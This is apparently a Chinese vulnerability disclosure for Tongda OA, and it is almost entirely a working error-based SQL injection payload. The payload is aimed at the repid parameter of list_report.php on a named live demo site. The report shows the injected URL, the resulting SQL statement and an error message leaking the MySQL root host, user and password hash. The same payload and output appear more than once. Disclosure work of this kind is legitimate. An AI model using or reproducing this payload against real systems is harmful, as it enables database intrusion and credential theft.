### 简要描述： 通达很牛的哦 ### 详细说明： demo试用:http://www.day900.com/ payload: http://www.day900.com/general/data_center/model_design/design/report/list_report.php?isreport=y&repid=132)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20&DEPT_ID=20 和前一个参数不同 返回： 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select * from crs_report where id in (132) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ) order by orderno, repno 文件：/general/data_center/model_design/design/report/list_report.php ### 漏洞证明：...
### 简要描述： 通达很牛的哦 ### 详细说明： demo试用:http://www.day900.com/ payload: http://www.day900.com/general/data_center/model_design/design/report/list_report.php?isreport=y&repid=132)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20&DEPT_ID=20 和前一个参数不同 返回： 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select * from crs_report where id in (132) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ) order by orderno, repno 文件：/general/data_center/model_design/design/report/list_report.php ### 漏洞证明： http://www.day900.com/general/data_center/model_design/design/report/list_report.php?isreport=y&repid=132)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20&DEPT_ID=20 和前一个参数不同 返回： 请联系管理员 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: select * from crs_report where id in (132) and (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# ) order by orderno, repno 文件：/general/data_center/model_design/design/report/list_report.php
